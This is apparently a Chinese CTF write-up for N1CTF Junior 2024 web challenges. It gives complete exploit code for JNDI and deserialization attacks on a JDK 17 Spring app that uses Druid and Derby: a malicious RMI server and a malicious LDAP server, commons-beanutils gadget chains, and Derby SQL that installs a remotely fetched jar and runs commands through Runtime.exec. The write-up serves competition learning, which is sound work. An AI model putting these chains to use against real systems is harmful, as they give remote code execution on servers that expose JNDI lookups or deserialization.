Derby

题目pom如下,依赖druid和derby,jdk版本为17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<properties>
<java.version>17</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.21</version>
</dependency>
<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.14.2.0</version>
</dependency>
</dependencies>

题目给了裸的jndi入口,这里初见有两个思路

1. 打反序列化

这里是jdk17,由于不同包之间的访问限制,没法用TemplatesImpl等jdk内部类来打反序列化

2.用druid打jdbc

这里的druid可以绕过jndi高版本限制,转化为jdbc,调用链如下

1
2
3
4
5
6
createPhysicalConnection:1663, DruidAbstractDataSource (com.alibaba.druid.pool)
init:914, DruidDataSource (com.alibaba.druid.pool)
config:392, DruidDataSourceFactory (com.alibaba.druid.pool)
createDataSourceInternal:162, DruidDataSourceFactory (com.alibaba.druid.pool)
getObjectInstance:157, DruidDataSourceFactory (com.alibaba.druid.pool)
getObjectInstance:331, NamingManager (javax.naming.spi)

这里的derby可以通过slave主从来打反序列化rce,限制条件跟上面一样,

另一种办法是通过sql来rce,思路类似h2,可以参考http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

需要执行的sql在jdbc连接串中无法添加,需要在initConnectionSqls属性中设置

1
2
3
4
CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/exp.jar', 'APP.Evil', 0);
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil');
CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec';
CALL cmd('calc');

编写恶意类

1
2
3
4
5
6
7
public class Evil
{
public static void exec(String cmd) throws Exception
{
Runtime.getRuntime().exec(cmd);
}
}

打包成jar,部署在web服务器上

1
2
javac .\Evil.java
jar -cvf Exp.jar Evil.class

这里写一个恶意的rmi服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer
{
public static void main(String[] args)
{
try{
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:derby:testexp;create=true";
// String JDBC_USER = "root";
// String JDBC_PASSWORD = "password";

String sql="CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8000/Exp.jar', 'APP.Evil', 0);\n" +
"CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil');\n" +
"CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec';\n" +
"CALL cmd('calc');";
ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
ref.add(new StringRefAddr("url",JDBC_URL));
// ref.add(new StringRefAddr("username",JDBC_USER));
// ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
ref.add(new StringRefAddr("initConnectionSqls",sql));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

Naming.bind("rmi://localhost:1099/exp",referenceWrapper);
}
catch(Exception e){
e.printStackTrace();
}
}
}

触发jndi

1
GET /lookup?url=rmi://127.0.0.1:1099/exp

DerbyPlus

这题的依赖新增了cb,但是原先的jndi接口改为了裸的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.21</version>
</dependency>
<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.14.2.0</version>
</dependency>
</dependencies>

和上一题一样的思路,这里给出的cb可以调用任意getter

1.利用LdapAttribute来打ldap

先准备ldap服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package com.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;

public class LdapServer
{
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] args)
{

int port = 1389;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor
{

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result)
{
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);

e.addAttribute("javaClassName", "foo");
try {
String sql="CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8000/Exp.jar', 'APP.Evil', 0);\n" +
"CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil');\n" +
"CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec';\n" +
"CALL cmd('calc');";

Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
ref.add(new StringRefAddr("init", "true"));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("initConnectionSqls", sql));

e.addAttribute("javaSerializedData", serialize(ref));

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception exception) {
exception.printStackTrace();
}
}
}

public static byte[] serialize(Object obj) {
ByteArrayOutputStream arr = new ByteArrayOutputStream();
try (ObjectOutputStream output = new ObjectOutputStream(arr)){
output.writeObject(obj);
} catch (Exception e) {
e.printStackTrace();
}
return arr.toByteArray();
}
}

cb链调用getAttributeDefinition即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException
{
BasicAttribute ldapAttr = getGadgetObj();
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("2");

setFieldValue(queue,"queue",new Object[]{ldapAttr,ldapAttr});// 设置BeanComparator.compare()的参数
setFieldValue(comparator,"property","attributeDefinition");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(queue);
String baseStr = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(baseStr);
}
public static BasicAttribute getGadgetObj(){
try{
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true);
bcu_fi.set(la, "ldap://127.0.0.1:1389/");
CompositeName cn = new CompositeName();
cn.add("a");
cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true);
rdn_fi.set(la, cn);
return la;
}catch (Exception e){
e.printStackTrace();
}
return null;
}

2.直接调用DruidDataSource的getConnection

设置好属性即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    public static void main(String[] args) throws Exception
{
String sql="CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8000/Exp.jar', 'APP.Evil', 0);\n" +
"CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil');\n" +
"CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec';\n" +
"CALL cmd('calc');";
StringTokenizer tokenizer = new StringTokenizer(sql, ";");
DruidDataSource druidDataSource = new DruidDataSource();
druidDataSource.setUrl("jdbc:derby:dbname;create=true");
druidDataSource.setInitialSize(1);
druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");
druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));
// druidDataSource.setConnectionProperties("init=true");
setFieldValue(druidDataSource,"logWriter",null);
setFieldValue(druidDataSource,"statLogger",null);
setFieldValue(druidDataSource,"transactionHistogram",null);
setFieldValue(druidDataSource,"initedLatch",null);

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("2");

setFieldValue(queue,"queue",new Object[]{druidDataSource,druidDataSource});// 设置BeanComparator.compare()的参数
setFieldValue(comparator,"property","connection");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(queue);
String baseStr = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(baseStr);

}

3.调用DruidDataSourceFactory的getObjectInstance(比较麻烦)

同上,一样可以触发jdbc

zako

php

MyGo

go环境变量注入rce

Reference

wp:

https://boogipop.com/2024/02/05/2024%20N1CTF%20Junior%20Web%20Writeup/

https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/

jndi-druid

https://xz.aliyun.com/t/10656

derby-sqlrce

http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce